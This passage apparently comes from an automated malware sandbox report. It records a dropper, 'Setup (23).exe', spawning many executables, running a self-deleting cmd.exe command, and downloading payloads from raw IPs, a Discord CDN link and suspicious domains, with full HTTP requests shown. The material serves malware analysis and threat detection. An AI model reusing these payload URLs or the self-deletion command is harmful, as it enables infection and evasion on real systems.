  PID:2040
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:1140
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:1696
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:2832
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:2160
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:2568
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:2428
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:3388
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:3920
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:3228
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:3756
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:3348
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:3280
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:3700
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:3648
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:4120
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:4584
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:4952
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:4252
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:4780
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:4680
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:5024
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:2380
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:1608
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:5420
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:5924
- - C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
    3⤵
    PID:5324
- C:\Users\Admin\Documents\r9XwKd07yrWZUcC3fYTW1vvm.exe
  "C:\Users\Admin\Documents\r9XwKd07yrWZUcC3fYTW1vvm.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\r9XwKd07yrWZUcC3fYTW1vvm.exe"
    3⤵
    PID:3116
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /T 10 /NOBREAK
      4⤵
      Delays execution with timeout.exe
      PID:4388
- C:\Users\Admin\Documents\ZdMjbOUMbRRJU3UJyff7Fnpv.exe
  "C:\Users\Admin\Documents\ZdMjbOUMbRRJU3UJyff7Fnpv.exe"
  2⤵
  - Executes dropped EXE
  PID:1060
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1060 -s 888
    3⤵
    - Program crash
    PID:3004
- C:\Users\Admin\Documents\Iyd7GPZwsupk6Uw0RXykkx3D.exe
  "C:\Users\Admin\Documents\Iyd7GPZwsupk6Uw0RXykkx3D.exe"
  2⤵
  - Executes dropped EXE
  PID:2072
- - C:\Users\Admin\Documents\Iyd7GPZwsupk6Uw0RXykkx3D.exe
    "C:\Users\Admin\Documents\Iyd7GPZwsupk6Uw0RXykkx3D.exe"
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 888
      4⤵
      Program crash
      PID:6028
- C:\Users\Admin\Documents\j154lofyqJbDxV2cVyD4iF3f.exe
  "C:\Users\Admin\Documents\j154lofyqJbDxV2cVyD4iF3f.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  PID:2164
- - C:\Program Files (x86)\Company\NewProduct\inst001.exe
    "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
    3⤵
    PID:2364
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    - Executes dropped EXE
    PID:2396
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Executes dropped EXE
    PID:2528
- C:\Users\Admin\Documents\yUpnK8HgJdqjK_MmA9bVW0Ke.exe
  "C:\Users\Admin\Documents\yUpnK8HgJdqjK_MmA9bVW0Ke.exe"
  2⤵
  - Executes dropped EXE
  PID:2148
- - C:\Users\Admin\Documents\yUpnK8HgJdqjK_MmA9bVW0Ke.exe
    "C:\Users\Admin\Documents\yUpnK8HgJdqjK_MmA9bVW0Ke.exe" -u
    3⤵
    PID:2856

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3456
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4016

Network

DNS

wfsdragon.ru

Remote address:

8.8.8.8:53

Request

wfsdragon.ru

IN A

Response

wfsdragon.ru

IN A

104.21.5.208

wfsdragon.ru

IN A

172.67.133.215
GET

http://wfsdragon.ru/api/setStats.php

Setup (23).exe

Remote address:

104.21.5.208:80

Request

GET /api/setStats.php HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: wfsdragon.ru

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:19 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=s1F%2BFD5PE0qnIF7xf4CvWyksNIiK4mTLVUhzWNqcZk6eQC9sFdMPyP4UzrDn6pJOlu4D%2FGOIxH%2FWtdneIY8HrYY6OyTml1yT21%2FxuE%2Fli174KNFITsxL69SklCaD%2Fug%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6878cde718c50b6b-AMS
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
GET

http://37.0.10.237/base/api/statistics.php

Setup (23).exe

Remote address:

37.0.10.237:80

Request

GET /base/api/statistics.php HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.237

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:19 GMT
Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
X-Powered-By: PHP/7.3.28
Content-Length: 96
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
DNS

cdn.discordapp.com

Remote address:

8.8.8.8:53

Request

cdn.discordapp.com

IN A

Response

cdn.discordapp.com

IN A

162.159.129.233

cdn.discordapp.com

IN A

162.159.133.233

cdn.discordapp.com

IN A

162.159.134.233

cdn.discordapp.com

IN A

162.159.135.233

cdn.discordapp.com

IN A

162.159.130.233
GET

https://cdn.discordapp.com/attachments/882087629896691744/882087761488797746/E_PL_Client.bmp

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882087761488797746/E_PL_Client.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:23 GMT
Content-Type: image/x-ms-bmp
Content-Length: 1283588
Connection: keep-alive
CF-Ray: 6878cdff1f671e99-AMS
Accept-Ranges: bytes
Age: 62655
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=E_PL_Client.bmp
ETag: "1b5026d96d5f62278e3cc63c5177c048"
Expires: Wed, 31 Aug 2022 19:53:23 GMT
Last-Modified: Tue, 31 Aug 2021 02:21:50 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630376510802178
x-goog-hash: crc32c=XM4fnA==
x-goog-hash: md5=G1Am2W1fYieOPMY8UXfASA==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1283588
X-GUploader-UploadID: ADPycduWLPWYAxAQUAuRINKjf-cSJWNkoypOWSRxhrydyyRNQ7DWTj4_6bnxfjgmxGNALlHNKzSTPaikrSDphHvWSoY
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4tRdiNDRo2zXJJcoW7MISqxHEfqH1dU7Ll3miIZtRVaUP%2Foe415W4QDkrRZfYM5FlQk4WI8QJDA%2BljeaokAuBppETFlDsza%2B1Cjhs5lp45YkT8Jrt7Wz1LfXkOw8kF53RGZm%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
DNS

ipinfo.io

bhQhrafoFEtidIZblKt90bck.exe

Remote address:

8.8.8.8:53

Request

ipinfo.io

IN A

Response

ipinfo.io

IN A

34.117.59.81
GET

https://ipinfo.io/widget

Setup (23).exe

Remote address:

34.117.59.81:443

Request

GET /widget HTTP/1.1
Connection: Keep-Alive
Referer: https://ipinfo.io/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: ipinfo.io

Response

HTTP/1.1 200 OK

access-control-allow-origin: *
x-frame-options: DENY
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
content-type: application/json; charset=utf-8
content-length: 873
date: Tue, 31 Aug 2021 19:53:23 GMT
x-envoy-upstream-service-time: 23
vary: Accept-Encoding
Via: 1.1 google
Alt-Svc: clear
DNS

pki.goog

Remote address:

8.8.8.8:53

Request

pki.goog

IN A

Response

pki.goog

IN A

216.239.32.29
GET

http://pki.goog/gsr1/gsr1.crt

Setup (23).exe

Remote address:

216.239.32.29:80

Request

GET /gsr1/gsr1.crt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: pki.goog

Response

HTTP/1.1 200 OK

Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: application/pkix-cert
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
Cross-Origin-Resource-Policy: same-site
Content-Length: 889
Date: Tue, 31 Aug 2021 19:46:01 GMT
Expires: Tue, 31 Aug 2021 20:36:01 GMT
Last-Modified: Wed, 20 May 2020 16:45:00 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Age: 442
Cache-Control: public, max-age=3000
POST

http://37.0.10.237/base/api/getData.php

Setup (23).exe

Remote address:

37.0.10.237:80

Request

POST /base/api/getData.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Length: 133
Host: 37.0.10.237

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:25 GMT
Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
X-Powered-By: PHP/7.3.28
Content-Length: 108
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST

http://37.0.10.237/base/api/getData.php

Setup (23).exe

Remote address:

37.0.10.237:80

Request

POST /base/api/getData.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Length: 133
Host: 37.0.10.237

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:26 GMT
Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
X-Powered-By: PHP/7.3.28
Content-Length: 4652
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
DNS

privacytoolz123foryou.xyz

Remote address:

8.8.8.8:53

Request

privacytoolz123foryou.xyz

IN A

Response

privacytoolz123foryou.xyz

IN A

185.183.96.3
DNS

i.spesgrt.com

Remote address:

8.8.8.8:53

Request

i.spesgrt.com

IN A

Response

i.spesgrt.com

IN A

172.67.153.179

i.spesgrt.com

IN A

104.21.88.226
DNS

aa.goatgamea.com

Remote address:

8.8.8.8:53

Request

aa.goatgamea.com

IN A

Response

aa.goatgamea.com

IN A

104.21.62.66

aa.goatgamea.com

IN A

172.67.221.12
DNS

553835e4-8579-4eef-9487-08e116066fe4.s3.amazonaws.com

Remote address:

8.8.8.8:53

Request

553835e4-8579-4eef-9487-08e116066fe4.s3.amazonaws.com

IN A

Response

553835e4-8579-4eef-9487-08e116066fe4.s3.amazonaws.com

IN CNAME

s3-1-w.amazonaws.com

s3-1-w.amazonaws.com

IN CNAME

s3-w.us-east-1.amazonaws.com

s3-w.us-east-1.amazonaws.com

IN A

52.216.80.128
DNS

bewidog.cz

Remote address:

8.8.8.8:53

Request

bewidog.cz

IN A

Response

bewidog.cz

IN A

81.95.96.94
HEAD

http://i.spesgrt.com/lqosko/p18j/cutm3.exe

Setup (23).exe

Remote address:

172.67.153.179:80

Request

HEAD /lqosko/p18j/cutm3.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: i.spesgrt.com
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Content-Type: application/octet-stream
Content-Length: 1408000
Connection: keep-alive
last-modified: Sun, 29 Aug 2021 15:52:15 GMT
etag: "612bad2f-157c00"
Cache-Control: max-age=14400
CF-Cache-Status: HIT
Age: 4139
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vdKgiRBKbLKyujuf8KmUgdkarjfrwXL9l0k2xCFu9XRHio30QXEde%2B%2Fl2Di0Np368s4yZ8WqyLDbie9Ffn71Klq0vPk9W684yGtceaFu6IVZHlFrR%2B6B2JCWoZ3rEVcc"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6878ce193cc7c847-AMS
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
GET

http://i.spesgrt.com/lqosko/p18j/cutm3.exe

Setup (23).exe

Remote address:

172.67.153.179:80

Request

GET /lqosko/p18j/cutm3.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: i.spesgrt.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Content-Type: application/octet-stream
Content-Length: 1408000
Connection: keep-alive
last-modified: Sun, 29 Aug 2021 15:52:15 GMT
etag: "612bad2f-157c00"
Cache-Control: max-age=14400
CF-Cache-Status: HIT
Age: 4139
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=z1Y7jeiGndThUzEfNX3ESJAUmyzIyfT%2FmUoi0%2B4I9jLJhz2G2IcRjQzXNa66GGieXsknkgx2vnu8vIYC6AYk%2Fes5mzsCsXTg7uHk%2BJoAWR7h0LyNz7QyIMaJnvOmTpZ%2B"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6878ce194ce3c847-AMS
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
HEAD

http://privacytoolz123foryou.xyz/downloads/toolspab2.exe

Setup (23).exe

Remote address:

185.183.96.3:80

Request

HEAD /downloads/toolspab2.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: privacytoolz123foryou.xyz
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Tue, 31 Aug 2021 19:53:27 GMT
Content-Type: application/x-msdos-program
Content-Length: 3749
Connection: keep-alive
Keep-Alive: timeout=3
Last-Modified: Tue, 31 Aug 2021 19:53:10 GMT
ETag: "ea5-5cae04ca2c14c"
Accept-Ranges: bytes
GET

http://privacytoolz123foryou.xyz/downloads/toolspab2.exe

Setup (23).exe

Remote address:

185.183.96.3:80

Request

GET /downloads/toolspab2.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: privacytoolz123foryou.xyz
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Tue, 31 Aug 2021 19:53:27 GMT
Content-Type: application/x-msdos-program
Content-Length: 3749
Connection: keep-alive
Keep-Alive: timeout=3
Last-Modified: Tue, 31 Aug 2021 19:53:10 GMT
ETag: "ea5-5cae04ca2c14c"
Accept-Ranges: bytes
HEAD

http://37.0.10.214/WW/PB14s.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

HEAD /WW/PB14s.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 27 Aug 2021 07:32:24 GMT
ETag: "24400-5ca857c0ed191"
Accept-Ranges: bytes
Content-Length: 148480
Content-Type: application/x-msdos-program
HEAD

http://37.0.10.214/WW/file2.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

HEAD /WW/file2.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 15:58:27 GMT
ETag: "3844c0-5cadd0531a847"
Accept-Ranges: bytes
Content-Length: 3687616
Content-Type: application/x-msdos-program
HEAD

http://37.0.10.214/WW/file1.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

HEAD /WW/file1.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 17:35:39 GMT
ETag: "d0111-5cade60cade4b"
Accept-Ranges: bytes
Content-Length: 852241
Content-Type: application/x-msdos-program
HEAD

http://37.0.10.214/WW/file7.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

HEAD /WW/file7.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 17:36:10 GMT
ETag: "2f1708-5cade62acbf3a"
Accept-Ranges: bytes
Content-Length: 3086088
Content-Type: application/x-msdos-program
GET

http://37.0.10.214/WW/file10.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

GET /WW/file10.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 18:40:50 GMT
ETag: "9c400-5cadf49eea33d"
Accept-Ranges: bytes
Content-Length: 640000
Content-Type: application/x-msdos-program
GET

http://37.0.10.214/WW/file2.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

GET /WW/file2.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 15:58:27 GMT
ETag: "3844c0-5cadd0531a847"
Accept-Ranges: bytes
Content-Length: 3687616
Content-Type: application/x-msdos-program
GET

http://37.0.10.214/WW/file7.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

GET /WW/file7.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:28 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 17:36:10 GMT
ETag: "2f1708-5cade62acbf3a"
Accept-Ranges: bytes
Content-Length: 3086088
Content-Type: application/x-msdos-program
HEAD

http://37.0.10.214/WW/file10.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

HEAD /WW/file10.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 18:40:50 GMT
ETag: "9c400-5cadf49eea33d"
Accept-Ranges: bytes
Content-Length: 640000
Content-Type: application/x-msdos-program
HEAD

http://37.0.10.214/WW/file6.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

HEAD /WW/file6.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 17:35:51 GMT
ETag: "9b800-5cade618e7d0d"
Accept-Ranges: bytes
Content-Length: 636928
Content-Type: application/x-msdos-program
HEAD

http://37.0.10.214/WW/file3.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

HEAD /WW/file3.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 15:58:33 GMT
ETag: "42f7f0-5cadd058fb6ba"
Accept-Ranges: bytes
Content-Length: 4388848
Content-Type: application/x-msdos-program
HEAD

http://37.0.10.214/WW/file4.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

HEAD /WW/file4.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sun, 29 Aug 2021 20:05:55 GMT
ETag: "42c3a0-5cab83e89d9c3"
Accept-Ranges: bytes
Content-Length: 4375456
Content-Type: application/x-msdos-program
GET

http://37.0.10.214/WW/PB14s.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

GET /WW/PB14s.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 27 Aug 2021 07:32:24 GMT
ETag: "24400-5ca857c0ed191"
Accept-Ranges: bytes
Content-Length: 148480
Content-Type: application/x-msdos-program
GET

http://37.0.10.214/WW/file6.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

GET /WW/file6.exe HTTP/1.1
